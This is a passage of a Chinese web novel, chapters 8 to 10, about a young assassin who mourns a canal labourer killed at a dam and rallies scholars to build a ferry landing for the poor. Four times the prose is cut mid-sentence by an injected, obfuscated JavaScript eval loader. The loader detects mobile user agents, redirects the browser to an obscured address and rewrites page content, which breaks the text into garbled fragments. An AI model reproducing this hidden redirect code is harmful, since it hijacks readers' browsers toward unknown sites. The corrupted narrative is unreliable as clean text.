烛火飘忽了一刹,少年儒生的衣帛带起风,赢秀来不及多想,腾地站起身,掷地有声:“建元元年,国相谢珪都督江北水军,于襄阳隔长江遥峙羌人,抵御羌族南下,迫退羌族三千舰船,以安江左。” “建元十年,流民将军瘐明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845719|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结垒寿春,铸犁为剑,募两千馀,率领两千流民邀兵荡寇,曾经一度夺回徐州衮州扬州三洲。” “永宁三年,十五岁的昭肃帝御驾出征,率两万五校尉北伐,攻入关中,大败五万羌人部曲,粮尽而归。” “亡官失守,故国神往之恨,是中原之恨。”赢秀字字清晰,句句响亮:“克复神州,光复中原之心,南朝人人有之。” 此恨不关风月,人皆有之。 那南士愣愣地看为侨姓出头的少年儒生,面色青白变换,犹豫着,慢慢举起金樽,敬了他一杯。 王守真神色微松,暗自松了一口气,想起赢秀之前说读书的事,不由一笑。 王誉则若有所思地盯着赢秀看了几眼,再看向王守真,旋即低头抿了一口酒。 目光。 四面有很多目光,像是许多琉璃灯同时照着他,照得他头晕目眩。 没有恶意,但善于在黑暗中潜行的刺客从未体验过这种感觉。 赢秀腾的坐了下来,先是呆了一会儿,随后猛的一转头,攥紧了谢舟的雪白袍裾。 “谢舟谢舟,”紧张得脸色发红的少年拉着他的袖子,小心翼翼地问他:“我刚才没说什么胡话吧?” 刚才为了不让鉴心颜面扫地,赢秀脑袋发直,来不及思索什么,蹭地站了起来,将书上看过的话理了理,不假思索地说了出来。 说着说着,那些恨和心仿佛进入少年刺客的肺腑,浸得整颗心都饱胀发热。 赢秀自小在山里长大,追着九尺高的爹爹跑,摸爬滚打跟着爹爹学了一点点武艺,十三岁前没有下过山,没有读过什么书,更没有上过学堂。 即使给他拿张舆图,他也不知道中原具体在哪,襄阳在哪,寿春在哪,徐州衮州扬州三洲又在哪。 即使说了这些话,他心里依旧是朦朦胧胧的,那些地方像是遮了一层纱,他怎么也看不真。 书上那些故国神往的恨与情慢慢冷却了。 谢舟的声音传进耳中,一如既往温凉平和的语气:“没有说胡话,方才你说得字字句句鞭辟入里,掷地有声。” 少年没有再抓他的袖子了,低着头,松开手,皱巴巴的雪色袍裾垂落在地,闷闷的声音: “……什么是鞭辟入里?” 谢舟哑然失笑。 这厢,离席在外面寻找昭肃帝许久的江州牧匆匆来了,一眼扫过去看见昭肃帝一身雅正简袍,正坐在属于儒生的席位上。 江州牧:“!!!” 他怒气冲冲地用目光横扫僮客仆伇,你们不想活了! 他迅速那边走了几步,撩起衣摆,正要跪下告罪,却看见昭肃帝侧首,轻轻看了他一眼。 冰冷中带着警告,满是杀意。 江州牧:“……” 江洲牧二话不说转头就走,回到属于自己的左席,十分自然地换上一副笑容,和客席上的王守真寒暄起来。 别驾的接风宴过后,江州府衙便开始轰轰烈烈地修运河,沅水堰口上的营户白丁昼夜不歇。 日夜都能听见纤夫的呼号声,尖利嘶哑,呐喊不休。 刺客这段时间没有任务,赢秀清闲得很,便一直跟在王守真身边,跟着他在堰口附近的堤坝上监工。 听呼号排山倒海。 看巨堰拔地而起。 直到有人轰然倒下,轻飘飘的一声响。 8. 第 8 章 涛涛江水时刻不停地东来,呼号声没有哪怕一瞬间的停止。 王守真还没反应过来,眼前骤然掠过一道轻捷秀气的黑影,赢秀已经用轻功飞了过去。 逼仄狭窄的堰口上,人力运送着一根根巨大的枋木,其中一根枋木压倒了一群白丁,有一角塌得最厉害。 被压在下面的白丁双膝跪地,维持着勉力曲起手肘的动作,眼睛睁得大大的,似乎还牵挂着什么地方,汗水滴下来,淌过他黑漆漆的眼珠—— 他就这样断了气,在赢秀面前。 死的是个庶民的,没什么特殊的,四肢乏力,无力支撑,最后被枋木压倒,压断脊骨便断了气。 从前江州坞主相里玦在世时,他曾经寄籍在相里氏的坞堡中做佃户,相里氏倒台后,他甚至连籍贯都没有。 唯一特殊的地方,他是个南来的侨姓流民,来自中原,故籍翼洲乐陵。 赢秀半跪在地上,伸手要抬起沉重的枋木,见到是经常跟在长公子身边的人,队官连忙跑过来,招呼着要附近的白丁合力抬起染血的枋木。 “小公子,你没事吧?这些东西有点晦气,你还是快快回去长公子身边吧。”队官细声细语地对赢秀说完话,一转头厉声呵斥道:“还不快把人抬走!别耽误干活!进度慢了大伙夜里都别歇!” 很快便来人把尸首抬走了,两个满头大汗的白丁抬着尸首路过赢秀,奇怪地看了他一眼,不明白他半跪在这里、一副丢了魂的样子是干什么。 “……他是哪里人?”赢秀问道。 “不知道,这堰口的营户白丁多了去了,谁知道谁呀。”丢下这句话,两个白丁抬着尸首快速走了。 一切恢复如初。 只有地上的血迹还在,斑驳鲜艳的痕迹。 赢秀不能跪在这儿了,因为会挡住来来往往抬着大坊木的白丁,他慢慢走回王守真身边,后者见着他的样子,轻轻蹙眉:“你去哪了?” 赢秀道:“那边有人死了。” 王守真眉头皱得更深了,“我知道。”他有点不喜欢赢秀这幅样子,“死了自然会赔钱给他家里人——你又去哪?!” 赢秀转身走了,在人群中寻找那两位抬尸首的白丁。 在他身后,王守真猛的站了起来,向来喜怒不形于色的他眼中满是困惑。 ……赢秀到底怎么了?不就是死了个庶民吗? 那个白丁的尸首已经用草革裹好,放在板车上,由一个白丁拉往涧下坊。 涧下坊位于沅水下游,上游的污垢黑水全部流向这里,泥路上满是大大小小的黑水泊,四处都是低矮破旧的草庐。 板车停在一处草庐前,白丁匆忙将队官给的银子放在草革上,旋即三步做两步地跑了,免得被后面的哭声追上。 草庐里出来一个素净妇人,牵着一个干干净净的小女孩,看见门前的板车立即呆住了,迟疑地上前几步,看清那双睁开的眼,眼睛骤然睁大了,仰头深吸了一口气,猛的往后倒去。 “……娘!” 赢秀走过涧下坊的泥路,看到的就是这一幕。 来不及多想,他用轻功飞了过去,在涛涛江水上依旧不染水渍的袍裾,却沾上了涧下坊飞溅的泥水。 一星泥水从袍裾滑落,落在草庐内的小坑上,溅起涟漪。 赢秀站在床前,没有去擦衣服上的泥水。 草庐里只有一张床,妇人缩在草庐唯二的杌凳上,小女孩挨着她坐着。 赢秀已经认出了小女孩,这是前不久他在破岗渎救下的孩子。 这是他们见的第三面。 妇人神情一片空白,不知有没有认出他,原本静静躺在草革上的银子被拿下来,放在矮案上,在昏暗的草庐中散发出锃亮的光。 一锭银,一条命。 从妇人口中,赢秀得知白丁名为瘐望,曾经是江州坞主豢养在坞堡中的佃户僮仆,相里氏坞堡由江州府府衙接管后,被安排去堰口修大运河。 在队官的呼叱下日夜不歇,最终被枋木压倒在堰口上,再也没有起来。 我不杀伯仁,伯仁却因我而死。 赢秀慢慢伸出手,试图合上那双眼睛,然而那双眼睛依旧深深地望着他。 瘐望,你在望什么? …… 放下足够她们母女一生富足的银子,赢秀逃也似地走了,走时他看见一座座草庐里,灰扑扑的人们站在黑洞洞的门里看着他。 涧下水污浊,泥泞,与笙歌鼎沸的小秦淮云泥之别。 临近黄昏,小秦淮临水的小楼上,歌姬在吊嗓唱歌,软侬吴音唱软了一江春水。 少年刺客走在青石阶,漫无目的地走着。 南朝名士喜好出世隐逸,归隐桃源,不问世事,再过几年被朝廷请来出仕,三请四请,终于入世,自此高官厚禄,日转千阶。 自永宁八年孤身下山,算起来这是赢秀入世的第四年。 秋风拂过,石阶上落满了花,赢秀避开那些还算完整的落花,闷头往石阶上面走去。 青石阶的尽头,飞檐下静静垂着琉璃灯,昏黄灯影浮动在淡淡黄昏中,幽静的庭院静静矗立在草木疏落里。 这是美人门客的住所。 赢秀抬起头,不知道自己怎么走到了这里。 他有点想进去,立在门后,伸手想要叩门,却又犹豫。 正在犹豫要不要夜里打扰谢舟,朱红的槅门骤然无声地敞开。 素袍童子提灯立在门后,好似对他的到来毫不意外,“赢公子,你来了。” 莫名的,赢秀想起之前派人给谢舟送信,送信的书童回来时面色苍白,说是被守卫吓到了。 僻静院落,何来的守卫? 童子指引他往前走去,琉璃灯所至,烛影覆盖,短暂地照亮黑暗。 远处甍宇齐平,亭榭笼在溟濛的微光里,楼台水榭,柳陌花衢全部错落地浸在一片幽深中, 秋风至,秋雨落。 雨丝细细吹过回缭的廊庑,振响檐牙下的惊鸟铃。 秋雨,深林,像误入一场幽深莫测的梦。 赢秀的心如同步入温凉水潭,慢慢平和。 穿过长廊,迈过洞门,眼前堂庑清幽,竹帷轻轻晃动,竹影在青石地面上游曳,谢舟就在这里。 圆形槅门后,高大笔挺的素白身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845720|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影披发跽坐在茵席上,骨节明晰的手执着狼毫,地上铺着巨大的舆图。 山川河流,中原王土,在他脚下。 “谢舟?” 少年小心翼翼的声音,从门后传来。 提灯的童子移步退了出去,只留下漆黑袍裾上沾着泥泞的少年独自站在槅门边。 纤秀软韧,像一柄隐匿在黑暗中的秀剑。 昭肃帝垂眸轻轻看了他一眼,搁下狼毫,踩着舆图,走到他面前,“怎么了?” 怎么了。 这短短的三个字让赢秀眼眶发酸,他张着嘴,想要说什么,却什么都没有说出来。 他想说自己奉命杀了一个恶人,却有一个无辜之人因此而死。 当日对着江州坞主一剑穿喉的剑,现在好似仿佛穿过他的喉咙,让他什么也说不出来。 从前每每完成任务,刺客都会立即离开,他只负责杀掉该杀的人,其他的与他无关。 但这一次,刺客留下了,留在江州,看见了人死后风云变幻,浪卷涛翻。 一剑带起千重浪,一浪压倒涧下坊。 “罢了,”见他半天说不出一句话,谢舟没再问下去,“等你愿意说的时候再说,今夜先好好睡一觉。” 赢秀闷闷地“嗯”了一声,偷偷摸摸牵住谢舟雪白的袍裾,骤然看见地上铺着的舆图:“……这地上是什么?” 谢舟任由他牵着自己的袖子,就近点了一盏灯,提在手里,一寸寸照亮舆图,先照亮一个小点:“这是江州,我们现在就在这里。” 琉璃灯向东移动,照亮一片蓝色附近的小点:“这是徐州,广陵在这里,你的家乡。” 灯影偏移,小点旁边挨着一个红点,“这是健康,南朝京师。” “我知道!”赢秀提前抢白:“这是你的家乡,对不对?” 谢舟默了默,没说对,也没说不对,他的指尖在虚空中越过舆图上一道天堑,指着丘陵沃土,虚虚点了点,“我的家乡在这儿。” 那里是—— 中原。 赢秀似懂非懂,他已经大致明白舆图上那些小点和弯弯曲曲的线指的是什么了,也知道中原在哪,襄阳在哪,寿春在哪,徐州衮州扬州三洲都在哪了。 就拿琅琊王氏据守的徐州来说,徐州广陵,眦邻健康,东南接扬州、会稽,西北与寿春、汝南接壤,环卫京师。 称得上是要道枢纽。 “咦?”少年俯下身,点了点属于江州那个小点,“这里像是蜘蛛网中间的结。” 本来不是蜘蛛网,但有一条鲜红的线由东北向西南划下,起于徐州,经过健康,接着是扬州江州荆州,江州位于中间,且四面都是细线,河流遍布,四通八达。 以江州为中心,东北沿长江是健康京师,东南沿赣水是豫章庐陵,西南沿湘水是关洲,西北沿钶水是襄阳。 有这条线在,江州成了江左名副其实的水上要道。 这条线就是正在修葺的大运河。 赢秀望着那条新添上去、鲜红如血的红线,骤然愣在原地。 “怎么,”头顶冷不丁传来谢舟温凉的笑声:“看懂了?” 9. 第 9 章 琉璃灯不知何时被搁下,恰好放在舆图上江州的位置,静静散发着昏黄光辉。 灯影照亮了整个江左,惟有北边的中原地区幽暗一片。 “……看懂了,”赢秀道:“修大运河,确实功在千秋,便利江左水运。” 说完这句话,少年刺客抬眸直视着士族门客,清澈眸光比剑光明亮。 “修大运河可以,累死百姓是不对的。”赢秀的声音很轻,却有很有力量,像是在对抗什么。 千秋伟业,起于微末。 谢舟已经猜到了事情的原委,对此不置可否,漆黑冰冷的眸瞳平静淡漠,温声道:“那你打算怎么做?” 赢秀长睫轻轻颤动,“主持督工的是鉴心,我和他说一说。” 鉴心,王守真的小字。 他这样语气自然地唤王守真的小字,谢舟眸色变得有些危险。 他差点忘了,赢秀是王守真的家臣,自然事事以王守真为重。 将近酉时,麓山中天色已经黑透了,赢秀还是向谢舟告辞,急匆匆地走出谢氏庭院,一直走进黑暗里。 谢舟本想让人送他回去,赢秀走得着急,他竟然没有说话的机会。 凭阑望去,四下皆是黑阗阗的无边墨色,惟有小径上枝摇影动,是着黑衣的少年在疾步往回走。 那日别驾夜宴,赢秀分明不善言辞,却主动站起来为王守真说话,他们之间的感情,全然不是寻常的主仆之情。 用赢秀的话来说,他们是挚友。 昭肃帝走进槅门内,地上铺开的巨大舆图维持着原来的样子,那道随手划出来的红线像殷红的长剑,位于红剑中心的琉璃灯明明灭灭。 楼台外风吹雨打,烛火始终不熄。 “嚓——” 琅琊王氏的私邸中,年迈的僮客反复点亮廊下烛火,一盏盏地往里添油,多了倒,少了添。 屋里纱窗上倒映着两道人影,有个少年儒生夤夜来访,长公子亲自接待。 屋内,王守真看了赢秀许久,面露无奈,好似妥协般道:“好了,某和那些大户说一声,将营户白丁的俸禄上调,一日只做四个时辰,从寅时到未时,再将运枋木的五人改成七人。”他问道:“这样如何?可还有什么不妥之处?” 问完这句话,王守真沉默下来,不动声色地借着烛光观察赢秀的反应。 区区一个庶民而已,为何赢秀的反应这么大? 再想到赢秀永宁八年才下山出世,此前一直待在山中,难不成他从前在山中认识那个殁了的白丁?不然解释不通赢秀为何如此在意。 “还不够,”赢秀道:“还要为瘐望置办丧仪,添置家产,安置好他的妻儿。” 瘐望是谁? 王守真是聪明人,转念便明白瘐望是那个庶民的名字,他想了想,毫不犹豫地点了头:“好。” 得到预想中的答复,赢秀一肚子郁气瞬间散了,举起耳杯噙了一口清茶。 入口生甘,极其熟悉的的味道,是当年他在广陵时最爱喝的绿杨春。 一春生万叶,一叶知新春。 “这又不是什么要紧的事,”王守真清隽端方的脸上笑容温和,温声唤他的小字:“扶危,以后有什么事直接和我说,我能办的,尽量都给你办了。” 世人皆说琅琊王氏的长公子明公正道,温润而泽,赢秀与他相处四年,才知道什么叫所言不虚。 夜色茫茫,少年走了。 王守真送他出门,慢慢走回去,转头看见方才在廊下不断点灯添油的老僮客。 士族出身的贵公子停下脚步,望着苍老的僮客,叹了一口气,“您既然效忠我父亲,我派人送您回广陵吧。” 至于回去后会发生什么,与他何干。 老僮客手中的灯油骤然跌落在地上,他跪在地上求饶:“长公子,是江州别驾要我盯着赢公子的,他说,主公说了,长公子身边不能有不听话的奴才。” 王守真缓缓蹙眉:“王誉竟然连某的事都插手?” …… 七日后。 瘐望的丧仪在涧下坊举行,因着这场丧事,泥泞的小路连夜铺了白石砖,黑水坑也填了,整座涧下坊焕然一新。 挂满经幡的草庐内,一身道袍的方士正在敲钵诵经,念念有词,要渡亡者往生。 来来往往的人群中,其中不乏出身侨姓的名士清流,听闻是琅琊王氏的长公子出面举办的丧仪,忙不迭地前来凭吊。 方士忙着诵经,清流忙着给王守真的善举写诗做赋,涧下坊的庶民忙着吃丧仪上的醮食。 丁零当啷,人声鼎沸。 赢秀独自立在简陋的灵堂前,少年穿着一身缟素,皎洁灵秀。 身后有人走过来,影子投到他脚下,拉得很长,瘦瘦小小的,是那个叫做长安的小女孩。 赢秀记得谢舟给自己看的舆图上面,中原的故都,也叫长安。 据说那是个很繁华的地方,天朝京师,人稠物穰,花锦世界,有无数的明灯,巍巍的高楼,流水与人潮时刻不停地穿流而过。 长安认得这个救过自己的少年,也知道他就是那一夜杀了江州坞主的刺客。 她走上前,轻轻牵起赢秀苍白的袍裾,怯生生地说了一句谢谢你。 小长安说,不仅要谢谢你帮了我和娘亲,还要谢谢你杀了坏蛋,江州坞主是坏蛋,谢谢你杀了他。 赢秀听到这句话时浑身僵住了,这件事无法向相识不久的美人门客诉说,刎颈之交的鉴心视作无举轻重的小事,不明白他到底为什么如此在意。 只有名字与中原故都相同的小女孩明白他心中所想,告诉他不要愧疚。 两个时辰过去后,方士结了银子离开,清流带着诗赋归去,庶民吃完了醮食去讨生计。 人来人去,只剩满地黄纸,被风吹得起起落落。 丧仪结束后,瘐望的妻女被安置在上城,由琅琊王氏派僮仆照料,自此衣食无忧。 马车碾过涧下坊新铺好的白石板,载着长安母女走了,沿路两侧的草庐里,灰扑扑的庶民依旧立在门前看着。 不同于上一次看见板车拉着尸首回来时的麻木,他们苍白灰暗的脸上多了一些艳羡。 看到赢秀,有人从黑洞洞的门里走出来,上去拉他,口中喊道:“帮帮我吧!小郎君!你是不是认识琅琊王氏的长公子?”“帮帮我们吧,帮我们向长公子说句好话,让他带我们走!”“我们什么都可以做,做牛做马伺候您!” 汹涌的人潮,宛如趋火之蛾,几乎要淹没少年纤秀笔直的身躯。 赢秀迫不得已亮了剑,问心剑如同月光展露,看到锋利的剑光,百姓瞬间退了回去。 一直退到黑洞洞的门里,想要转身进屋,却犹豫不决,立在门后惶惶不安地看着他。 “长公子只能帮有志之士,”赢秀道:“倘若你们有心上进,便去堰口修大运河,有长公子监工,一日做四个时辰,十铢钱。” 一语出,整个涧下坊先是寂静了一刹,随后人声沸腾。 百姓鱼贯而出,隔着一小段距离围着赢秀,又问了些诸如何时上工的问题,得到答复后忙不迭地踩着白石板往沅水堰口而去。 赢秀还剑入鞘,没有离开,转而沿着涧下坊走了一圈,白石板铺不到的阴暗处,地上都是歪歪扭扭的沟渠,蝇虫环绕,嗡嗡作响。 草庐顶上大多都是铺草,一摞摞的枯草堆在一起,堆成了这群百姓遮风挡雨的屋檐。 如果不是遇见了门客,刺客不会留在江州,更不会有机会来到涧下坊,看到这一座座低矮阴暗的草庐。 赢秀既然看到了,便不能视而不见。 倘若要借鉴心之力去改变涧下坊,岂非给鉴心添了负累? 赢秀站在草庐下,若有所思。 不出所料,这几日沅水堰口来了很多庶民应征,一个接一个,拖家带口地来,日日人满为患。 堰口一日比一日高,堤坝拔地而起。 赢秀向王守真讨了一壶绿杨春,亲自登门叫来了谢舟,想让他看看沅水巨堰的壮景。 堤坝上天高海阔,白鹭冲天,赤膊的白丁抬着枋木,呼号不绝,渐渐凿出大运河的雏形。 浩渺天地间,人以己力改天换地,这一幕无比壮观,恢宏震撼。 堤坝高处,赢秀豪爽地饮了一口绿杨春,他是刺客,不懂沏茶,只管用沸水浸了茶叶,随后便喝。 这样简单粗暴泡出来的茶反而有种甘香,清澈的味道,或许这就是返璞归真。 谢舟看着他泡茶,饮茶,又举杯邀自己同饮,亮晶晶的眼睛一眨不眨地看着自己,默了一默,旋即举起耳杯,噙了一口。 赢秀迫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845721|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及待地问:“好喝吗?” 谢舟道:“……好喝。” 赢秀道:“那再来一杯。” 谢舟道:“不必了。” 赢秀有心想将自己喜欢的东西献给谢舟,但是看着谢舟这张俊美冰冷且面无表情的脸,真的看不出他到底喜不喜欢,而且他没有强人所难的爱好,只得“哦”了一声,又给自己倒了一杯绿杨春。 好甜! 来来往往的白丁时不时朝赢秀打招呼,腼腆又期待地告诉他自己今日搬了几根枋木,将河道凿出了几寸。 赢秀会兴高采烈地夸他们做得很厉害,等到未时放衙后请他们喝冰冰凉凉的绿杨春。 谢舟立在他身侧,一时竟有些迷惘,赢秀似乎在哪里都很高兴,而且还能让身边的人也高兴起来。 遇见赢秀之前,他还从未见过这样稀奇古怪的人。 不远处,前来巡视的江州牧和江州别驾将这一幕收之眼底。 王誉从前是京师门下省散骑,平调到江州任别驾,依旧是从四品官,出仕二十年,不曾有过面圣的机会,看到赢秀和谢舟,微微蹙了一下眉。 他知道赢秀表面是个儒生,背地里是王守真豢养的家臣,为人家臣,便要有为主子肝脑涂地的觉悟。 这赢秀不仅全无觉悟,似乎还把长公子当成至交好友了,没点恭敬害怕,反倒一副蹬鼻子上脸的模样。 再这样下去,岂非养虎为患? 还有他身边那个青年,俊美煞气,看一眼便叫他胆寒,那到底是什么人? 南朝不禁男风,那点子风月之事也不算什么,但是像他这样光明正大地搬到台面上,甚至还在长公子监工的堰口上厮混,实在是让人忍无可忍。 一旁,知道一切的江州牧恨不得给赢秀跪下,暴戾恣睢的昭肃帝竟然会对一个小小儒生处处留情,纵容如斯。 这儒生到底有什么稀奇的? 现在不知道陛下的想法,给他一万个胆子他也不敢妄自行动,更不敢主动去接触那个少年儒生。 骤然看见身侧的王誉抬脚往他们那个方向走去,江州牧的心脏病都要犯了。 王誉,你是不是也不想活了! 年过半百的江州牧直接飞身过去,猛的拽住了王誉的衣襟,在对方惊诧的目光下,老神在在地咳了咳,苦口婆心:“我们来此是来巡视的,巡完就回家,何必另生枝节?” 这么着急,是嫌自己死得不够快吗? 在被江州牧强行拖走之前,王誉眯起眼,最后看了一眼赢秀身边那个高大俊美的白衣青年。 样貌似乎有点像年轻时的当今国相。 ……那人到底是谁? 赢秀直觉何其敏锐,刚才有两道视线在盯着他们看,其中一道满是探究,看得他有点不舒服。 谢舟自然也发现了,他轻轻扫了那两道身影一眼,是江州牧,还有一个不知名的小官,两人不知在打什么主意。 赢秀没有理会那两道目光,望着沅水涛涛,对谢舟道:“等堰口竣工,我和鉴心商量商量,看能不能在涧下坊起一座渡口,方便坊中百姓卖鱼到荆州扬州。” 一个渡口对江州来说无举轻重,最多也就是锦上添花的东西,对于大运河来说更加不重要,但是对涧下坊的百姓来说,却能够改变他们的一生。 “这样一来,涧下坊的百姓也就不会过得那么苦了……” 赢秀的话戛然而止,他看见谢舟正在专注地看他,那目光像是看见了一个新奇、漂亮的东西,值得紧紧攥在手里。 那目光其实很熟悉,第一次见谢舟,他就是这样立在冷清的静室内,居高临下地看他的。 只是现在赢秀才隐隐约约明白那眼神的含义。 这让赢秀有点难过,不过对他来说,漂亮的美人做什么都可以原谅。 于是他小心翼翼地问谢舟:“我这样做不对吗?” 谢舟静静看着他,温凉平静的声音中带着鼓励的意味,“你做得很对。” 南朝名士追求的赤子之心,出现在一个杀人不眨眼的少年刺客身上。 赤忱,刺客。 多么古怪。 现在,这个古怪的少年主动落在了他手里。 …… 他会好好珍惜的。 争取让脆弱天真的刺客活得久一点,长一点。 10. 第 10 章 赢秀全然不知门客在想什么,少年刺客正托着腮苦思冥想,目光望着来来去去抬着枋木的白丁。 这其中有许多是涧下坊的庶民,自从鉴心让大户上调俸禄后,在沅水堰口修运河这件苦差事便成了香饽饽,许多人争着拿银子去府衙应征,涧下坊的庶民本是没有机会的,是队官看在赢秀的份上收了他们。 就连修运河这种苦差,只要有了一点点好处,都不再属于白丁庶民,更何况是一个便于货殖的渡口? 想要在涧下坊添一个小小的渡口,以供下游的百姓向来往的贸船卖鱼,并没有赢秀想的那么容易。 少年刺客擅长除暴,却不擅长安良。 赢秀苦恼了半天,忍不住和谢舟说了,谢舟听完他的烦恼,平静道:“你可以借势。” “不行呀,”赢秀下意识道:“鉴心太忙了,而且我只是一介儒生,其实和他不熟,勉强能和他谈几句罢了。” 他不是不清楚琅琊王氏中一直有僮客家臣看他不顺眼,觉得他不是一个好僮客,不忠于主上。 那些人的想法都不要紧,要紧的是似乎王氏主公王道傀也是这么看待他的,在他们眼里,一个刺客,与一柄刀,一个器皿并无二异,没有资格和主上称朋道友。 王道傀是鉴心的父亲,他不想让鉴心在他和父亲之间两难,在涧下坊修渡口这件事,他要自己来做。 谢舟沉默片刻,“你可以借我的。” 赢秀骤然抬眸看他,郑重地摇了摇头。 谢舟只是建章谢氏一个门客而已,还是国相的门客,现在被派到江州放鹿,要是不小心触怒了国相,岂不是连放鹿的机会都没有了。 “不行,你做这事太危险了。”赢秀摇头摇得很坚决,大有绝不答应的意味。 ……危险在哪? 谢舟发现自己不太懂现在的刺客脑子里都在想什么,在江州舆图上添一座小小的渡口,对他来说只是一句话的事。 对于建章谢氏的门客来说,也不是什么难事。 可是赢秀就是不要他帮,也不要那个王氏子帮,非得自己去做。 在仕宦勾连的南朝,出身不显的庶民寸步难行,更何况是起一座渡口。 谢舟想,赢秀终究还是要借势的,向王守真,亦或者他。 回到寄身的酒肆后,赢秀便敲响了薛镐的房门,要向他借有关渡口水运的书籍。 薛镐作为苦读多年的儒生,虽然有书,但大多都是经学易术,没有这么偏的书,在交好的儒生中打听了一番,好容易才给赢秀借来了两本。 赢秀捧着破旧的书,秉烛看了很久。 结合书上写的,再根据那日在涧下坊看到的地貌,赢秀提起笔,在纸上落墨。 民间修渡口都是要向府衙申请的,他得先把禀帖写了。 次日,江州府衙,几个胥吏围着看了看面前写得粗糙又认真的禀帖,又看看送禀帖的儒生。 “你是哪一姓的人?”胥吏问赢秀。 “我姓赢。”赢秀道。 没听过江州有姓赢的豪族大户,胥吏点了点头:“你回去等等吧。” 赢秀问道:“什么时候才能有消息?” 胥吏随口道:“有消息的时候自然会告诉你。” 赢秀只好走了,昨夜读了书后他才知道,修渡口是和修运河同时进行的,倘若等到大运河修葺结束,再想修渡口就难了。 苦思一番,少年刺客再次想起了谢舟那句借势。 小秦淮的酒肆,一群或老或少的吴姓儒生围坐在一起,老少都盯着桌子正中的禀帖看,都说文人相轻,显然在他们眼里这赋禀帖还不够看。 行文粗陋,对仗不工整,平仄不齐,一看就没读过几年蒙馆。 但是这篇禀帖写来不是为了求功名的,而是要向府衙申请,给一个叫做涧下坊的地方修渡口,那是一个满是侨姓的地方。 而且这个少年说了,倘若能说动府衙答应修葺渡口,到时候要把他们所有人的名字都裱在渡口旌旗。 少年还说,他们这间小酒肆里一共有十六个人,届时渡口修成后就名十六渡。 涧下坊是个名不经传的小地方,住的都是庶民,但是毕竟能在一个地方留名,年长的儒生抚着髯须点点头,直言不讳地说要把自己的名字留在前头。 几个还年少的儒生争着后面的位置,扬言自己排在十六之首 作为十六之一的薛镐拍了拍赢秀的肩膀,“你向我借书就是为了这个,可以呀,为民造福,你找到愿意出资的大户了么?” “没找到,”赢秀说,薛镐不由微微皱眉,下一刹又听见赢秀补充了一句:“我自己出钱。” 薛镐一口气喘不上来,当场栽倒在地。 不是,同是儒生,你怎么这么有钱? 江州寻阳,九月秋。 一群儒生敲响了江州府衙的辕门,联名上书,请求在一个名为涧下坊的地方修渡口,解民倒悬,殷民阜财。 庶民出身的书生在门第为重的南朝显得格外羸弱,像水中浮萍,在察举征辟的官制下,只有依附在士族垂下的枝叶上这一条路。 但水下浮萍的声音汇在一起,足够撼动一点点微澜。 府衙中的胥吏想了想,出去把赢秀叫了进来,“其实早就有消息了,但是事情太多搁置了。” 下游的涧下坊住的大多是侨姓流民,相当于贫民窟,而江州是吴人统治的州郡,一个侨姓庶民,要在这里给同为侨姓的庶民修建渡口,赢秀的禀帖第一次递上来时,府衙里的南士听了只是笑一笑,不置可否。 现在他们不笑了,一群人用笔在舆图上划了又划,挪了又挪,转头对那个来路不明的少年儒生说,修渡口要很多银子,你有银子吗? 赢秀想了想,有点犯难,“这些够了吗?” 说着,他从怀里掏出一把银票,是鉴心刚到江州那会儿塞给他的。 眼见穿着布襦的少年随手掏出一摞银票,官署里的世吏眼睛骤然瞪大,顿时没了声音,修就修吧,左右也是修在江州,受益的还是江州百姓。 随着老的少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845722|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的十六个儒生请求在当地修渡口,以利百姓的消息传遍了江州,在涧下坊修渡口的堂批也下来了,堂批上朱笔写着十六渡。 一群苦读经史的儒生激动得不能自己,捧着堂批看了又看,看了又看。 尽管生长在上游,从未去过这个叫做涧下坊的地方,薛镐还是兴奋地在小酒肆踱来踱去,“我们也算青史留名了,日后江州地方志上也会有十六渡的痕迹!” “对了,你叫什么名字来着?”薛镐猛的站定,冲着赢秀问道。 